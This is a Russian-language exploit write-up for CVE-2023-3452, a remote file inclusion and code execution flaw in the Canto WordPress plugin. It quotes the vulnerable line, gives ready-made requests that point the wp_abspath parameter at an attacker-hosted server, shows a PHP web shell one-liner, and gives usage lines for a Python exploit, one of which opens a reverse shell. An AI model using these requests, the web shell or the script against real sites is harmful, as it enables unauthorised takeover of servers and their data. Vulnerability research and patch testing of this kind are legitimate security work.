
Плагин WordPress Canto < 3.0.5 - Удалённое включение файла (RFI) и удалённое выполнение кода (RCE)
Здесь мы разбираем PoC последней уязвимости RFI (Remote File Inclusion) плагина Canto для Wordpress, а также мы разработали эксплойт для автоматизации выполнения команд.
"Плагин Canto для WordPress уязвим к удалённому включению файла (Remote File Inclusion) в версиях до 3.0.4 включительно через параметр 'wp_abspath'. Это позволяет неавторизованным атакующим включать и выполнять произвольный удалённый код на сервере, при условии, что allow_url_include включён. Локальное включение файла (Local File Inclusion) также возможно, хотя и менее полезно, поскольку требует, чтобы атакующий мог загрузить вредоносный PHP-файл через FTP или иным способом в каталог, доступный для чтения веб-сервером." (https://nvd.nist.gov/vuln/detail/CVE-2023-3452)
Данный эксплойт использует ошибку в параметре wp_abspath, как видно в следующей строке кода includes/lib/download.php:
...
require_once($_REQUEST['wp_abspath'] . '/wp-admin/admin.php');
...
Для эксплуатации этой уязвимости также необходимо, чтобы параметр allow_url_include=On был включён в конфигурации PHP.
Можно отправлять запросы с этим параметром, указывающим на наш веб-сервер, с которого будет интерпретироваться PHP-код. Например, если мы отправим следующий запрос, мы можем проверить, что получаем запрос на нашем сервере.:
http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://192.168.1.33:8080

Мы видим, что сервер обращается к файлу /wp-admin/admin.php, поэтому если мы создадим этот каталог и добавим наш вредоносный PHP-код в файл admin.php, уязвимый сервер загрузит и корректно выполнит его.
Например, если мы запишем в наш файл admin.php PHP-веб-шелл <?php system($_GET['cmd']); ?>, мы сможем удалённо выполнять код.
http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://192.168.1.33:8080&cmd=whoami

Всё это автоматизировано в Python-эксплойте: CVE-2023-3452.py
python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -c 'id'

python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -NC_PORT 3333 -s php-reverse-shell.php
